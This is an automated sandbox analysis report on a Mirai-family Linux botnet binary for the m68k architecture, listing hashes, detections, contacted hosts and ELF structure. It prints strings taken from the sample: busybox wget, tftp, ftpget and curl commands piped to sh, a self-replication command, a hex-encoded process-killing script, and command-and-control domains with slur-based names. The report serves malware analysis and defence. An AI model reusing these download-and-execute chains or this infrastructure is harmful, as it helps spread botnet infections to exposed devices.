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Linux Analysis Report
nabm68k.elf

Overview

General Information

Sample name:	nabm68k.elf
Analysis ID:	1543154
MD5:	cb11c143aef458f957bb7d46f9eb0527
SHA1:	5c5d59805d4df1793133ad3aef5e890b90458fa0
SHA256:	df5d234d0026837805273a509306193a63773f7cc421f046225f238c6bb183ef
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543154
Start date and time:	2024-10-27 09:56:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabm68k.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/82@4/0

Runtime Messages

Command:	/tmp/nabm68k.elf
PID:	5592
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabm68k.elf (PID: 5592, Parent: 5521, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/nabm68k.elf

nabm68k.elf New Fork (PID: 5594, Parent: 5592)

nabm68k.elf New Fork (PID: 5596, Parent: 5594)

nabm68k.elf New Fork (PID: 5600, Parent: 5594)

nabm68k.elf New Fork (PID: 5601, Parent: 5594)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabm68k.elf

ReversingLabs: Detection: 47%

Source: nabm68k.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 213.21.33.97
Source: unknown	TCP traffic detected without corresponding DNS query: 52.102.44.114
Source: unknown	TCP traffic detected without corresponding DNS query: 213.21.33.97
Source: unknown	TCP traffic detected without corresponding DNS query: 30.134.145.14
Source: unknown	TCP traffic detected without corresponding DNS query: 52.102.44.114
Source: unknown	TCP traffic detected without corresponding DNS query: 77.54.127.76
Source: unknown	TCP traffic detected without corresponding DNS query: 30.134.145.14
Source: unknown	TCP traffic detected without corresponding DNS query: 172.152.47.141
Source: unknown	TCP traffic detected without corresponding DNS query: 77.54.127.76
Source: unknown	TCP traffic detected without corresponding DNS query: 78.253.219.10
Source: unknown	TCP traffic detected without corresponding DNS query: 172.152.47.141
Source: unknown	TCP traffic detected without corresponding DNS query: 115.240.142.213
Source: unknown	TCP traffic detected without corresponding DNS query: 78.253.219.10
Source: unknown	TCP traffic detected without corresponding DNS query: 93.209.189.109
Source: unknown	TCP traffic detected without corresponding DNS query: 115.240.142.213
Source: unknown	TCP traffic detected without corresponding DNS query: 78.154.190.231
Source: unknown	TCP traffic detected without corresponding DNS query: 93.209.189.109
Source: unknown	TCP traffic detected without corresponding DNS query: 50.206.104.144
Source: unknown	TCP traffic detected without corresponding DNS query: 78.154.190.231
Source: unknown	TCP traffic detected without corresponding DNS query: 217.202.47.2
Source: unknown	TCP traffic detected without corresponding DNS query: 50.206.104.144
Source: unknown	TCP traffic detected without corresponding DNS query: 53.4.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 217.202.47.2
Source: unknown	TCP traffic detected without corresponding DNS query: 74.117.23.253
Source: unknown	TCP traffic detected without corresponding DNS query: 53.4.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 139.169.39.174
Source: unknown	TCP traffic detected without corresponding DNS query: 74.117.23.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.74.23.48
Source: unknown	TCP traffic detected without corresponding DNS query: 139.169.39.174
Source: unknown	TCP traffic detected without corresponding DNS query: 70.69.144.28
Source: unknown	TCP traffic detected without corresponding DNS query: 93.74.23.48
Source: unknown	TCP traffic detected without corresponding DNS query: 22.46.204.61
Source: unknown	TCP traffic detected without corresponding DNS query: 70.69.144.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.33.122
Source: unknown	TCP traffic detected without corresponding DNS query: 22.46.204.61
Source: unknown	TCP traffic detected without corresponding DNS query: 21.15.117.190
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.33.122
Source: unknown	TCP traffic detected without corresponding DNS query: 76.225.117.253
Source: unknown	TCP traffic detected without corresponding DNS query: 21.15.117.190
Source: unknown	TCP traffic detected without corresponding DNS query: 6.103.52.188
Source: unknown	TCP traffic detected without corresponding DNS query: 76.225.117.253
Source: unknown	TCP traffic detected without corresponding DNS query: 77.197.86.42
Source: unknown	TCP traffic detected without corresponding DNS query: 6.103.52.188
Source: unknown	TCP traffic detected without corresponding DNS query: 18.85.162.6
Source: unknown	TCP traffic detected without corresponding DNS query: 77.197.86.42
Source: unknown	TCP traffic detected without corresponding DNS query: 107.71.67.61
Source: unknown	TCP traffic detected without corresponding DNS query: 18.85.162.6
Source: unknown	TCP traffic detected without corresponding DNS query: 12.212.175.233
Source: unknown	TCP traffic detected without corresponding DNS query: 107.71.67.61
Source: unknown	TCP traffic detected without corresponding DNS query: 114.118.57.84

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabm68k.elf	String found in binary or memory: http:///curl.sh
Source: nabm68k.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5620/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5620/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5642/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5642/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5618/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5618/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5619/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5619/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5621/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5621/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5622/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5622/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5623/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5623/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5678/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5678/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5613/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5613/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5624/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5624/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5614/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5614/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5625/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5625/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5615/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5615/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5626/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5626/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5616/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5616/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5627/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5627/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5617/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5617/cmdline	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5628/maps	Jump to behavior
Source: /tmp/nabm68k.elf (PID: 5600)	File opened: /proc/5628/cmdline	Jump to behavior

Source: nabm68k.elf, 5592.1.000056500f129000.000056500f1ae000.rw-.sdmp, nabm68k.elf, 5596.1.000056500f129000.000056500f1ae000.rw-.sdmp	Binary or memory string: PV!/etc/qemu-binfmt/m68k
Source: nabm68k.elf, 5592.1.00007ffe76c41000.00007ffe76c62000.rw-.sdmp, nabm68k.elf, 5596.1.00007ffe76c41000.00007ffe76c62000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: nabm68k.elf, 5592.1.00007ffe76c41000.00007ffe76c62000.rw-.sdmp, nabm68k.elf, 5596.1.00007ffe76c41000.00007ffe76c62000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/nabm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabm68k.elf
Source: nabm68k.elf, 5592.1.000056500f129000.000056500f1ae000.rw-.sdmp, nabm68k.elf, 5596.1.000056500f129000.000056500f1ae000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabm68k.elf	false		unknown
http:///curl.sh	nabm68k.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
7.246.80.17	unknown	United States	3356	LEVEL3US	false
105.189.162.69	unknown	Morocco	36925	ASMediMA	false
181.11.171.145	unknown	Argentina	7303	TelecomArgentinaSAAR	false
80.171.36.249	unknown	Germany	6805	TDDE-ASN1DE	false
120.37.116.127	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
167.159.251.223	unknown	United States	16988	IPAPERUS	false
188.181.7.126	unknown	Denmark	3292	TDCTDCASDK	false
83.21.219.208	unknown	Poland	5617	TPNETPL	false
81.158.60.186	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
177.131.2.48	unknown	Brazil	262375	DataInfoComercioeServicoLtdaBR	false
24.165.30.2	unknown	United States	20001	TWC-20001-PACWESTUS	false
207.168.83.244	unknown	United States	4565	MEGAPATH2-US	false
103.62.191.76	unknown	China	9829	BSNL-NIBNationalInternetBackboneIN	false
19.0.48.218	unknown	United States	3	MIT-GATEWAYSUS	false
18.243.137.32	unknown	United States	16509	AMAZON-02US	false
103.182.77.246	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
189.249.76.94	unknown	Mexico	8151	UninetSAdeCVMX	false
64.157.185.54	unknown	United States	3064	AFFINITY-FTLUS	false
140.253.108.98	unknown	Australia	6262	CSIROCommonwealthScientificandIndustrialAU	false
92.181.140.253	unknown	France	31204	SUNCOMMUNICATIONS-ASJVSunCommunicationsAutonomousSyst	false
214.87.211.138	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
80.29.55.163	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
158.49.22.154	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
179.150.239.25	unknown	Brazil	26599	TELEFONICABRASILSABR	false
45.156.86.24	yellowchink.pirate	Germany	44592	SKYLINKNL	true
141.171.88.194	unknown	Switzerland	33920	AQLGB	false
13.36.43.146	unknown	United States	7018	ATT-INTERNET4US	false
54.19.121.131	unknown	United States	14618	AMAZON-AESUS	false
219.102.14.106	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
49.46.0.32	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
40.22.166.228	unknown	United States	4249	LILLY-ASUS	false
178.131.52.5	unknown	Iran (ISLAMIC Republic Of)	50810	MOBINNET-ASAS47823belongstoArvanCloudCDNthatismobinn	false
150.206.106.26	unknown	New Zealand	9433	MASSEY-ASMasseyUniversityNZ	false
170.65.133.105	unknown	United States	14201	TELETECHUS	false
70.206.196.95	unknown	United States	22394	CELLCOUS	false
27.62.124.228	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
201.194.184.106	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
38.52.1.106	unknown	United States	174	COGENT-174US	false
111.81.127.255	unknown	Taiwan; Republic of China (ROC)	2510	INFOWEBFUJITSULIMITEDJP	false
204.64.110.47	unknown	United States	1761	TDIR-CAPNETUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.156.86.24	zerarm5.elf	Get hash	malicious	Unknown	Browse
	nabspc.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse
	nabppc.elf	Get hash	malicious	Unknown	Browse
	nabmips.elf	Get hash	malicious	Unknown	Browse
	zermips.elf	Get hash	malicious	Unknown	Browse
	nabarm.elf	Get hash	malicious	Unknown	Browse
	nabx86.elf	Get hash	malicious	Unknown	Browse
	nabarm5.elf	Get hash	malicious	Unknown	Browse
	splsh4.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yellowchink.pirate	zerarm5.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zerx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splm68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zermips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelecomArgentinaSAAR	nabmips.elf	Get hash	malicious	Unknown	Browse	181.230.202.224
	nabarm5.elf	Get hash	malicious	Unknown	Browse	181.169.108.141
	m68k.elf	Get hash	malicious	Mirai	Browse	181.4.152.101
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	181.31.213.78
	kkkx86.elf	Get hash	malicious	Unknown	Browse	186.152.31.245
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	181.110.101.42
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	190.230.191.52
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	200.43.89.245
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	181.0.174.45
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	181.7.251.174
LEVEL3US	nabspc.elf	Get hash	malicious	Unknown	Browse	7.232.7.227
	nklsh4.elf	Get hash	malicious	Unknown	Browse	8.126.17.170
	nabppc.elf	Get hash	malicious	Unknown	Browse	11.62.42.32
	nabmips.elf	Get hash	malicious	Unknown	Browse	4.125.93.83
	nklppc.elf	Get hash	malicious	Unknown	Browse	9.200.197.19
	splarm7.elf	Get hash	malicious	Unknown	Browse	11.53.205.171
	splarm.elf	Get hash	malicious	Unknown	Browse	11.77.15.86
	nabarm.elf	Get hash	malicious	Unknown	Browse	4.46.108.76
	nabx86.elf	Get hash	malicious	Unknown	Browse	6.37.254.70
	splspc.elf	Get hash	malicious	Unknown	Browse	4.123.172.67
ASMediMA	jklppc.elf	Get hash	malicious	Unknown	Browse	196.123.162.234
	spc.elf	Get hash	malicious	Mirai	Browse	197.153.85.16
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	197.247.161.161
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	102.97.29.81
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	105.189.12.249
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	102.99.141.61
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	45.217.90.130
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	102.99.141.73
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	196.123.176.43
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	196.126.95.173

Process:	/tmp/nabm68k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.032825597519672
Encrypted:	false
SSDEEP:	6:YagDFFNY/V/DFleY/V0q/VfKoO/VNfiY/VH:YaYbY4l
MD5:	CCBE0870A98742EF7D5B9E20D9DCAE42
SHA1:	E7FF3C26CD0C9B839B26EE8CBFBD2E195FC66C29
SHA-256:	5D016D11800FE920A53D2D37CB27FDB789848E957079BD333662F70B9CAF54A3
SHA-512:	F6C39134EB4AF14B6231DE2C2562AEBFF878449E062D36948D4E4CF7BE49DC20CA2AAFC13812D1C7A7C5E6280C7623AAFBE0BF7A9959811FDA173BF92BB899DB
Malicious:	false
Reputation:	low
Preview:	80000000-8000b000 r-xp 00000000 fd:00 531606 /tmp/..8000c000-8000d000 rw-p 0000a000 fd:00 531606 /tmp/..8000d000-8000f000 rw-p 00000000 00:00 0 .8000f000-80010000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.254853458599828
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabm68k.elf
File size:	44'868 bytes
MD5:	cb11c143aef458f957bb7d46f9eb0527
SHA1:	5c5d59805d4df1793133ad3aef5e890b90458fa0
SHA256:	df5d234d0026837805273a509306193a63773f7cc421f046225f238c6bb183ef
SHA512:	894d5f094ce2ea56cce21b051bb0b2efd680d8f699cacbd9ecc2ab408aa229e44887fc4474781fa4bd4720d41371e6f5de995ed5ff6af16b6af7d04f04a9a045
SSDEEP:	768:2+eqipKOmZ9Aw72DsFZ/KdFfbsOIS4Wv2HHDL8+2nvRD5R8QYmgyPlQ:j1ZZ9b72DYEfblISJoHDLOn5dR8QFgy2
TLSH:	CC13F9E7B400ED7CF94EE63AC15B8A05B1B0B65986511B23B377FA67AC302C49C2DE45
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. ....................l.......... .dt.Q............................NV..a....da....lN^NuNV..J9...Hf>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X........HN^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	44428
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x9c96	0x0	0x6	AX	4
.fini	PROGBITS	0x80009d3e	0x9d3e	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80009d4c	0x9d4c	0xe8a	0x0	0x2	A	2
.ctors	PROGBITS	0x8000cbdc	0xabdc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8000cbe4	0xabe4	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x8000cbec	0xabec	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x8000cbf0	0xabf0	0x158	0x0	0x3	WA	4
.bss	NOBITS	0x8000cd48	0xad48	0x1194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xad48	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0xabd6	0xabd6	6.3056	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0xabdc	0x8000cbdc	0x8000cbdc	0x16c	0x1300	0.6823	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 09:57:34.622620106 CET	41279	53	192.168.2.15	202.61.197.122
Oct 27, 2024 09:57:34.633464098 CET	53	41279	202.61.197.122	192.168.2.15
Oct 27, 2024 09:57:46.022176027 CET	53949	53	192.168.2.15	152.53.15.127
Oct 27, 2024 09:57:46.033472061 CET	53	53949	152.53.15.127	192.168.2.15
Oct 27, 2024 09:57:47.049041033 CET	51991	53	192.168.2.15	168.235.111.72
Oct 27, 2024 09:57:47.141844034 CET	53	51991	168.235.111.72	192.168.2.15
Oct 27, 2024 09:57:59.245610952 CET	33809	53	192.168.2.15	152.53.15.127
Oct 27, 2024 09:57:59.256721973 CET	53	33809	152.53.15.127	192.168.2.15

Start time (UTC):	08:57:32
Start date (UTC):	27/10/2024
Path:	/tmp/nabm68k.elf
Arguments:	/tmp/nabm68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	08:57:33
Start date (UTC):	27/10/2024
Path:	/tmp/nabm68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabm68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.00kV8E (deleted)

/tmp/qemu-open.0YDZcF (deleted)

/tmp/qemu-open.2BaNjD (deleted)

/tmp/qemu-open.4MTGeD (deleted)

/tmp/qemu-open.4cqARE (deleted)

/tmp/qemu-open.6Um8XC (deleted)

/tmp/qemu-open.7DMPoG (deleted)

/tmp/qemu-open.8kXmTC (deleted)

/tmp/qemu-open.8sSbTB (deleted)

/tmp/qemu-open.984WrD (deleted)

/tmp/qemu-open.9KzAAF (deleted)

/tmp/qemu-open.9hh0UE (deleted)

/tmp/qemu-open.AwG7nF (deleted)

/tmp/qemu-open.BfFjpC (deleted)

/tmp/qemu-open.BqqJaG (deleted)

/tmp/qemu-open.CrCO0B (deleted)

/tmp/qemu-open.D1UioD (deleted)

/tmp/qemu-open.DdzH5E (deleted)

/tmp/qemu-open.EmWUiG (deleted)

/tmp/qemu-open.G9FerD (deleted)

/tmp/qemu-open.Ga7tqE (deleted)

/tmp/qemu-open.HCJJ5E (deleted)

/tmp/qemu-open.IuTWRE (deleted)

/tmp/qemu-open.JnhKaF (deleted)

/tmp/qemu-open.KwkZ0C (deleted)

/tmp/qemu-open.LYEDID (deleted)

/tmp/qemu-open.LnZuvD (deleted)

